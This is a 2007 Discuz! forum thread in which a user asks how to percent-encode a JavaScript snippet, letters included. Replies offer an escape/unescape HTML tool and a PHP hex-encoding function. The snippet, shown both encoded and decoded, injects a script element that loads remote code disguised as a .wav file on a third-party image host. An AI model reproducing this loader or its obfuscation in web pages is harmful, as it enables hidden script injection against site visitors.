Discuz!官方免费开源建站系统

 找回密码
 立即注册
搜索

[疑问] 代码问题(急)

[复制链接]
zhujinyan 发表于 2007-5-16 19:42:55 | 显示全部楼层 |阅读模式
  1. %63%6F%64%65%4A%53%55%72%6C%3D%22%68%74%74%70%3A%2F%2F%66%6D%30%34%32%2E%69%6D%67%2E%78%69%61%6F%6E%65%69%2E%63%6F%6D%2F%74%72%69%62%65%2F%32%30%30%37%30%34%33%30%2F%32%32%35%30%2F%41%34%37%35%39%38%32%37%4D%45%2E%77%61%76%22%3B%76%61%72%20%73%32%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%22%73%63%72%69%70%74%22%29%3B%73%32%2E%73%72%63%3D%63%6F%64%65%4A%53%55%72%6C%3B%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%69%6E%73%65%72%74%41%64%6A%61%63%65%6E%74%45%6C%65%6D%65%6E%74%28%22%42%65%66%6F%72%65%42%65%67%69%6E%22%2C%73%32%29%3B
复制代码


  1. codeJSUrl="http://fm042.img.xiaonei.com/tribe/20070430/2250/A4759827ME.wav";var s2 = document.createElement("script");s2.src=codeJSUrl;document.body.insertAdjacentElement("BeforeBegin",s2);
复制代码

怎么实现转换,请GGJJ们帮帮忙吧
回复

使用道具 举报

飞翔的希望 发表于 2007-5-18 08:09:26 | 显示全部楼层
LZ可以用这个HTML代码进行加密、解密。。

  1. <!--
  2. 提供商业服务(配置环境、安装论坛、风格、插件、简单的PHP开发)

  3. QQ:184022241
  4. -->
  5. <head>
  6. <title>网页在线加密解密</title>
  7. <script language=Javascript>
  8. <!--
  9. var words;
  10. function setwords(word)
  11. {
  12. words = word.value;
  13. }
  14. function Setnewwords(form)
  15. {
  16. var newwords;
  17. newwords = unescape(words);
  18. form.newwords.value = newwords;
  19. }
  20. function Setnewwords1(form)
  21. {
  22. var newwords;
  23. newwords = escape(words);
  24. form.newwords.value = newwords;
  25. }

  26. // -->
  27. </script>
  28. <style type="text/css">
  29. <!--
  30. .style1 {color: #FF0000}
  31. -->
  32. </style>
  33. </head>
  34. <body>
  35. <table cellSpacing=0 cellpadding=0 width=778 align=center border=0>
  36.    <tbody>
  37.    <tr>
  38.      <td>
  39.        <table cellSpacing=0 cellpadding=0 align=center
  40.        border=1>
  41.          <tbody>
  42.          <tr>
  43.            <form method=post>
  44.            <td>
  45.              <p> </p>
  46.              <p align="center"><b>网页在线加密解密</b></p>
  47.             所谓加密解密是通过Unicode码的转换实现的,但经过实验中文文字太多会导致将你的页面代码膨胀.英文反会有压缩效果.
  48.     <p />
  49.     <b>请您注意:<span class="style1">请在加密前先备份您的网页.</span></b>
  50.     <p />
  51.     <b>使用方法</b>:<p />
  52.              <b>加密方法一</b>:把需要加密的源代码粘贴在下面的框内,要包括所有的标签例如html , head,
  53.     body,等.如果对Java熟识,也可只对                       部分内容加密,在对应输出部分使用outword()即可.
  54.     <p />
  55.     <b>解密方法</b>:将引号内的乱码贴入按解密即可.
  56.     <p />
  57.    
  58.     <div align=center>
  59.              <textarea name=word rows=10 cols=65 onchange=setwords(this)>按Ctrl+A可全选;
  60. 按Ctrl+C可加入剪贴板;
  61. 按Ctrl+V可剪贴板拷贝;
  62. 也可单击鼠标右键.</textarea></div>
  63.              <div align=center>            
  64.              <p><input onclick=Setnewwords(this.form) type=button value=解密 name=uncode>
  65. <input   onclick=Setnewwords1(this.form) type=button value=加密 name=encode>
  66.              </p></div>
  67.              <div align=center>
  68.             
  69.              <p><textarea name=newwords rows=10 cols=65></textarea>
  70.              </p></div>
  71.            </form>
  72.              <p>        以上是转换好的代码,将他们加入如下脚本的引号&quot;&quot;区内, 就是加密后的html了!以下代码不可直接拷入Frontpage可先贴在记事本中,再copy一次然后粘贴就没问题了.
  73.              </p>
  74.              <div align=center>
  75.             
  76.              <table width="65%" align=center border=1>
  77.                <tbody>
  78.                <tr>
  79.                  <td height=314><p align=left><b><html><br><head><br><script
  80.      LANGUAGE=&quot;Javascript&quot;><br><!--<br>var words =&quot;把加密生成后的代码复到此处就OK了&quot;
  81.      //put your cripto code there<br>function Outword()<br>{<br>var
  82.      newwords;<br>newwords = unescape(words);<br>
  83.      document.write(newwords);<br>}
  84.                    <br>Outword();<br>// --><br></script><br></head><br><body><br>
  85.      </body><br></html></b><p></td></tr></tbody></table></div>
  86.          <tr>
  87.            <td height=41>
  88.              <p /> 
  89.              <p><b>加密方法二</b>:将要处理的html文档的源代码复制到下面的文本框内,根据需要进行加密解密操作:(请先阅读后面的使用说明部
  90.                           分)
  91.              <script language=Javascript>
  92. <!--
  93. var i=0;
  94. var ie=(document.all)?1:0;
  95. var ns=(document.layers)?1:0;
  96. function initStyleElements()
  97. {
  98. var c = document.pad;
  99. if (ie)
  100. {
  101. //c.text.style.backgroubdcolor="#DDDDDD";
  102. c.compileIt.style.backgroubdcolor="#C0C0A8";
  103. c.compileIt.style.cursor="hand";
  104. c.select.style.backgroubdcolor="#C0C0A8";
  105. c.select.style.cursor="hand";
  106. c.view.style.backgroubdcolor="#C0C0A8";
  107. c.view.style.cursor="hand";
  108. c.retur.style.backgroubdcolor="#C0C0A8";
  109. c.retur.style.cursor="hand";
  110. c.clear.style.backgroubdcolor="#C0C0A8";
  111. c.clear.style.cursor="hand";
  112. }
  113. else return;
  114. }
  115. function LightOn(what)
  116. {
  117. if (ie) what.style.backgroubdcolor = '#9ab6c4';
  118. else return;
  119. }
  120. function LightOut(what)
  121. {
  122. if (ie) what.style.backgroubdcolor = '#96a096';
  123. else return;
  124. }
  125. function generate()
  126. {
  127. code = document.pad.text.value;
  128. if (code)
  129. {
  130. document.pad.text.value='\n\n\n 正在加密代码,请稍后\n\n    …………………………';
  131. setTimeout("compile()",1000);
  132. }
  133. else alert('似乎忘了输入源文件的html代码!!!')
  134. }
  135. function compile() /* The "Compilation" */
  136. {
  137. document.pad.text.value='';
  138. compilation=escape(code);
  139. document.pad.text.value="<script>\n<!--\ndocument.write(unescape(""+compilation+""));\n//-->\n<\/script>";
  140. i++;
  141. alert("此次操作对html代码加密了 "+i+" 次!");
  142. }
  143. function unpass()
  144. {
  145. if(document.pad.text.value.length>0){
  146. code = document.pad.text.value;
  147. alert("注意:\n  解密完成后记得去掉多余的部分:\n\n<script>\n<!--\ndocument.write(unescape("\n\n------只要此内html代码------\n\n"\)\)\;\n//-->\n<\/script>\n\n可以多次解密到显示标准的html代码!");
  148. document.pad.text.value=unescape(code);
  149. }
  150. else alert('这样的空代码还要我来解吗!?')
  151. }
  152. function selectCode()
  153. {
  154. if(document.pad.text.value.length>0)
  155. {
  156. document.pad.text.focus();
  157. document.pad.text.select();
  158. }
  159. else alert('都没有代码还要选择什么!!!')
  160. }
  161. function preview()
  162. {
  163. if(document.pad.text.value.length>0)
  164. {
  165. pr=window.open("","preview","scrollbars=1,menubar=1,status=1,width=500,height=350,left=100,top=100");
  166. pr.document.write(document.pad.text.value);
  167. }
  168. else alert('空白代码不用预览啦!!!')
  169. }
  170. function uncompile()
  171. {
  172. if (document.pad.text.value.length>0)
  173. {
  174. source=unescape(document.pad.text.value);
  175. document.pad.text.value=""+source+"";
  176. }
  177. else alert('')
  178. }
  179. // -->
  180. </script>
  181.               </p>
  182.              <table cellSpacing=0 cellpadding=0 width="100%" border=0>
  183.                <tbody>
  184.                <tr>
  185.                  <td width="100%">
  186.                    <form name=pad method=post ><textarea style="border-RIGHT: 1px double; border-TOp: 1px double;
  187.        font-SIZE: 9pt; border-left: 1px double; width: 100%; color: #555566; border-bottom: 1px double; " name=text rows=15 cols=30></textarea>
  188.                    <p align="center"><input   onclick=generate()   type=button value=加密代码 name=compileIt>
  189. <input   onclick=selectCode()   type=button value=全选代码 name=select>
  190. <input   onclick=unpass()   type=button value=解密代码 name=unpas>
  191. <input   onclick=preview()   type=button value=预览代码 name=view>
  192. <input    type=reset value=清空代码 name=clear>
  193.                    </form></p>
  194.                    <b>使用说明</b>:<p />
  195.        <b>加密</b>:把你想加密的html文档的源代码复制到上面的文本框内,加密后再把代码复制到新的页面就可以了.(可以进行多次加密)<p />
  196.                    <b>解密</b>:把你想解密的已加密html的文档的源代码复制到下面的文本框内,点击解密按钮至代码出现标准html代码时根据提示获取源码.对于多次解密都未发生改变的代码本系统将无法解密.<p />
  197.        <b>注明</b>:本系统加密的代码在本系统是可以进行解密的,对于html加密代码中带有document.write(unescape(&quot;…………&quot;))引用的,加密代码本系统亦可以解密.<p />
  198.                    <b>各种html加密代码都适用的解密方法</b>:<br />
  199.                   不管你遇到的加密代码是用何种方法加密的,只要能正常浏览的便可以进行解密:打开此页面,在浏览器中按下Ctrl+A(全选),再按下Ctrl+C(复制),打开Forntpage在[普通]方式下按下Ctrl+V(粘贴),然后切换到[html代码]方式下看到的代码便是未加密的代码!<br></td></tr></tbody></table>
  200.              </td></tr></tbody></table>
  201.     </body></html>
复制代码

cood.zip

2.97 KB, 下载次数: 49

回复

使用道具 举报

Arice 发表于 2007-5-18 10:20:21 | 显示全部楼层
php中的 urldecode 解密

本来用 urlencode 可以用来加密的.但是字母的不进行变换,所以写了个小函数.

  1. function url_encode($str){
  2.         $len = strlen($str);
  3.         for($i; $i < $len; $i++){
  4.                 $str_to .= '%'.dechex(ord($str[$i]));
  5.         }
  6.         return $str_to;
  7. }
复制代码

[ 本帖最后由 Arice 于 2007-5-18 11:49 编辑 ]
回复

使用道具 举报

 楼主| zhujinyan 发表于 2007-5-22 09:29:13 | 显示全部楼层
谢谢
二楼的方法和三楼的一样,字母也是不会转换的,我的想法是把字母也转换
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2025-9-12 17:09 , Processed in 0.141816 second(s), 17 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表